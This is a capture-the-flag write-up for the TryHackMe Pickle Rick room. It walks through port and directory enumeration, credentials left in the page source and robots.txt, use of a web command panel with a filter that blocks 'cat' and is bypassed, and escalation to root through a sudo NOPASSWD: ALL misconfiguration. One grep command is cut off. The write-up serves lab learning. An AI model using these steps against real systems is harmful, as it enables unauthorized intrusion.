# PickleRick Writeup - TryHackMe > Exploit a Rick and Morty themed Linux machine using web enumeration and command injection to find three secret ingredients across the system. - **URL:** https://hackindex.io/writeups/picklerick - **Platform:** TryHackMe - **Difficulty:** Easy - **Operating system:** Linux - **Tags:** command-injection, deserialization, privilege-escalation, sudo-misconfiguration, information-disclosure - **Authors:** [Hackercat](https://hackindex.io/authors/hackercat.md) - **Published:** 2026-09-12 - **Updated:** 2026-09-12 Pickle Rick is an Easy Linux CTF on TryHackMe, themed around Rick and Morty. Three ingredients are hidden across the machine. The credentials needed to enter the web command panel are sitting in plain sight in the page source and `robots.txt`, a reminder that attackers read everything before they touch a login form. Once inside, the privilege escalation is as simple as checking what the web user is allowed to run as root. ## Reconnaissance ```bash nmap -sC -sV $TARGET_IP # Starting Nmap 7.94 ( https://nmap.org ) at 2026-08-14 19:45 UTC # Nmap scan report for $TARGET_IP # Host is up (0.033s latency). # # PORT STATE SERVICE VERSION # 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0) # | ssh-hostkey: # | 2048 47:f6:46:6d:69:66:b6:b9:16:af:1b:1d:cd:1a:6f:03 (RSA) # | 256 54:f8:83:a9:0c:98:24:c2:f0:55:53:59:e5:7b:d0:1f (ECDSA) # |_ 256 ec:bc:a3:e7:d9:77:0e:35:db:8e:6c:bc:80:80:7e:c2 (ED25519) # 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) # |_http-title: Rick is sup4r cool # |_http-server-header: Apache/2.4.18 (Ubuntu) # | http-methods: # |_ Supported Methods: GET HEAD POST OPTIONS # Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel # # Nmap done: 1 IP address (1 host up) scanned in 8.12 seconds ``` Port 80 is the attack surface. Before touching the login form, enumerate what the web server exposes. ```bash gobuster dir -u http://$TARGET_IP -w /usr/share/wordlists/dirb/common.txt -x php # =============================================================== # Gobuster v3.6 # =============================================================== # [+] Url: http://$TARGET_IP # [+] Wordlist: /usr/share/wordlists/dirb/common.txt # [+] Extensions: php # [+] Status codes: 200,204,301,302,307,401,403 # =============================================================== # /assets (Status: 301) # /index.html (Status: 200) # /login.php (Status: 200) # /robots.txt (Status: 200) # /server-status (Status: 403) # =============================================================== ``` `login.php` is the entry point. Both `robots.txt` and the page source need to be checked first. ## Credential Discovery The username is hidden in an HTML comment in the page source: ```bash curl -s http://$TARGET_IP | grep -i " ``` The password is sitting in `robots.txt`: ```bash curl http://$TARGET_IP/robots.txt # Wubbalubbadubdub ``` Credentials: `R1ckRul3s` / `Wubbalubbadubdub` `robots.txt` is a public file that tells search crawlers what not to index. In real engagements it is one of the first places to check. It regularly exposes staging paths, backup directories, admin panels, and occasionally credentials left by mistake. ## Initial Access Log in at `http://$TARGET_IP/login.php`. The application presents a command panel that passes input to a shell and returns the output in the browser. This is Remote Code Execution (RCE) running as `www-data`. > [!NOTE] > `cat` is blocked by the application. Use `less`, `strings`, or `more` as substitutes. They read file content through different system calls, bypassing a naive filter on the word `cat`. ``` Enter Command $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) Enter Command $ uname -a Linux ip-$TARGET_IP 4.4.0-1075-aws #85-Ubuntu SMP Thu Jan 17 00:16:26 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux Enter Command $ pwd /var/www/html ``` The first ingredient file is in the web root: ``` Enter Command $ ls -la total 40 drwxr-xr-x 3 root root 4096 Feb 10 2019 . drwxr-xr-x 3 root root 4096 Feb 10 2019 .. -rwxr-xr-x 1 ubuntu ubuntu 882 Feb 10 2019 Sup3rS3cretPickl3Ingred.txt -rwxr-xr-x 1 ubuntu ubuntu 17 Feb 10 2019 assets -rwxr-xr-x 1 root root 742 Feb 10 2019 clue.txt -rwxr-xr-x 1 root root 1105 Feb 10 2019 denied.php -rwxrwxrwx 1 root root 1062 Feb 10 2019 index.html -rwxr-xr-x 1 root root 1438 Feb 10 2019 login.php -rwxr-xr-x 1 root root 2044 Feb 10 2019 portal.php -rwxr-xr-x 1 root root 17 Feb 10 2019 robots.txt Enter Command $ less Sup3rS3cretPickl3Ingred.txt $INGREDIENT_1 ``` `clue.txt` points toward the next ingredient: ``` Enter Command $ less clue.txt Look around the file system for the other ingredient. ``` ## Ingredient 2 Checking the home directories: ``` Enter Command $ ls /home rick ubuntu Enter Command $ ls -la /home/rick total 12 drwxrwxrwx 2 root root 4096 Feb 10 2019 . drwxr-xr-x 4 root root 4096 Feb 10 2019 .. -rwxrwxrwx 1 root root 13 Feb 10 2019 second ingredients Enter Command $ less /home/rick/second\ ingredients $INGREDIENT_2 ``` ## Privilege Escalation Before trying any exploit, check what the current user is allowed to run with elevated privileges. `sudo -l` is the first command for Linux privilege escalation: ``` Enter Command $ sudo -l Matching Defaults entries for www-data on ip-$TARGET_IP: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on ip-$TARGET_IP: (ALL) NOPASSWD: ALL ``` `www-data`, a web-facing process user, is allowed to run any command as root with no password. `NOPASSWD: ALL` is the highest possible misconfiguration: any web vulnerability that gives code execution on this server immediately yields full root access with zero extra steps. ``` Enter Command $ sudo ls /root 3rd.txt snap Enter Command $ sudo less /root/3rd.txt $INGREDIENT_3 ``` ## References - [TryHackMe: Pickle Rick](https://tryhackme.com/room/picklerick) - Room page - [GTFOBins: sudo](https://gtfobins.github.io/gtfobins/sudo/) - Sudo privilege escalation techniques - [HackIndex: HTTP/HTTPS](https://hackindex.io/services/http-https) - Web enumeration methodology